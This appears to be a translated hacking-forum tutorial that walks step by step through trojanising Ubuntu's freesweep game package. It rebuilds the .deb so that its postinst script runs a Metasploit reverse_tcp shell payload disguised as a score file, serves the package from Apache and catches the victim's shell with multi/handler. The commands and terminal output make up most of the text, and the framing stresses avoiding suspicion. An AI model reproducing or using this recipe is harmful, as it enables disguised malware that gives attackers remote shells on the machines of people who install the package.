Infecting Linux with Trojan

Now after looking at some exploits, I started looking to infect Linux with a Trojan, more specifically Ubuntu 9.10. This tutorial is similar to the tutorial [Metasploit] Generating Executable with PAYLOAD (http://foro.elhacker.net/hacking_avanzado/metasploit_generando_ejecutable_con_payload-t279407.0.html), which we convert a PAYLOAD in an executable file to infect Windows, now we will do the same, but to infect Linux.

To avoid raising suspicions we will download a game, in this case «Freesweep«, and then infect it with PAYLOAD.

Code:

BASH

Bash

shellroot@shellroot-desktop:~$ sudo apt-get --download-only install freesweep
[sudo] password for shellroot:
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias      
Leyendo la información de estado... Hecho
Se actualizarán los siguientes paquetes:
  freesweep
1 actualizados, 0 se instalarán, 0 para eliminar y 183 no actualizados.
Necesito descargar 39,2kB de archivos.
Se utilizarán 172kB de espacio de disco adicional después de esta operación.
Des:1 http://co.archive.ubuntu.com karmic/universe freesweep 0.90-2 [39,2kB]
Descargados 39,2kB en 2s (19,1kB/s)
Descarga completa y en modo de sólo descarga
shellroot@shellroot-desktop:~$

We create a folder where the files will be organized. In this case I will put it in /home/shellroot/

Code:

BASH

Bash

shellroot@shellroot-desktop:~$ mkdir /home/shellroot/Troyano
shellroot@shellroot-desktop:~$

Now we move the file that we downloaded at the beginning into the folder we just created (/home/shellroot/Trojan).

Code:

BASH

Bash

shellroot@shellroot-desktop:~$ sudo mv /var/cache/apt/archives/freesweep_0.90-2_i386.deb /home/shellroot/Troyano
shellroot@shellroot-desktop:~$

We position ourselves within the folder /home/shellroot/Trojan and we modify the folder permissions.

Code:

BASH

Bash

shellroot@shellroot-desktop:~$ cd /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$ chmod 777 /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$

We unzip the file freesweep_0.90-2_i386.deb, inside the folder /home/shellroot/Trojan, to add the infection of the PAYLOAD.

Code:

CODE

Bash

shellroot@shellroot-desktop:~/Troyano$ dpkg -x freesweep_0.90-2_i386.deb Juego
shellroot@shellroot-desktop:~/Troyano$

Now we will create a folder that we will call DEBIAN, inside it we will create 2 files.

control
postinst

Code:

BASH

Bash

shellroot@shellroot-desktop:~/Troyano$ mkdir Juego/DEBIAN
shellroot@shellroot-desktop:~/Troyano$ cd Juego/DEBIAN
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

Inside the file control, we will put the following information:

Code:

CODE

text

Package: freesweep
Version: 0.90-1
sección: Juegos y Diversion
Prioridad: Media
Arquitectura: i386
Creado: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Descripcion: Buscaminas es una implementación del popular juego de minas, donde se intenta encontrar todas las minas sin encender ninguna, en base a sugerencias dadas por el equipo.

Now inside the file postinst, we will put a Script to execute our infected file.

Code

BASH

Bash

#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &

Now we will create the Trojan with the PAYLOAD linux/x86/shell/reverse_tcp, we give the LHOST and LPORT parameters and the location of the infected file.

Code:

CODE

Bash

shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 X > /home/shellroot/Troyano/Juego/usr/games/freesweep_scores
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
 Length: 50
Options: LHOST=192.168.142.137,LPORT=1234
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

Now we modify the file permissions postinst, and we will build the file that is supposedly the "Game" again.

Code:

BASH

Bash

shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ chmod 755 postinst
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ dpkg-deb --build /home/shellroot/Troyano/Juego/
dpkg-deb: construyendo el paquete `freesweep' en `/home/shellroot/Troyano/Juego.deb'.
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

The rebuild will create the file Game.deb which we must change to freesweep.deb, so we move to the folder /home/shellroot/Trojan, then, we will move it to the Root of the Web Server for its next download and infection.

Code:

BASH

Bash

shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ cd /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$ mv Juego.deb freesweep.deb
shellroot@shellroot-desktop:~/Troyano$ sudo cp freesweep.deb /var/www/
[sudo] password for shellroot:
shellroot@shellroot-desktop:~/Troyano$

We start the Apache Server

Code:

BASH

Bash

shellroot@shellroot-desktop:~/Troyano$ sudo /etc/init.d/apache2 start
 * Starting web server apache2                                                                   apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
httpd (pid 1576) already running
                                                                                          [ OK ]
shellroot@shellroot-desktop:~/Troyano$

Now, as when we did it with Windows, we must use the Auxiliary multi/handler, configure it the same way as when we created the PAYLOAD and wait for the victim to download and execute the infected file.

Code:

BASH

Bash

shellroot@shellroot-desktop:~$ sudo msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 E
[sudo] password for shellroot:
[*] Please wait while we load the module tree...
[*] Starting the payload handler...
[*] Started reverse handler on port 1234

Now suppose we are the victim and we download the file.

Code:

BASH

log

hacklab@hacklab-desktop:~$ wget http://192.168.142.137/freesweep.deb
--2010-01-21 23:36:27--  http://192.168.142.137/freesweep.deb
Conectando a 192.168.142.137:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 39214 (38K) [application/x-debian-package]
Guardando: «freesweep.deb»

100%[=======================================================>] 39.214      --.-K/s   en 0s      

2010-01-21 23:36:29 (93,0 MB/s) - `freesweep.deb' guardado [39214/39214]

hacklab@hacklab-desktop:~$

After downloading the file, we install it.

Code:

BASH

text

hacklab@hacklab-desktop:~$ sudo dpkg -i freesweep.deb

Now we look at the multi/handler and voala, a session of Meterpreter

Code:

CODE

text

[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.142.137:1234 -> 192.168.142.140:41233)

Comments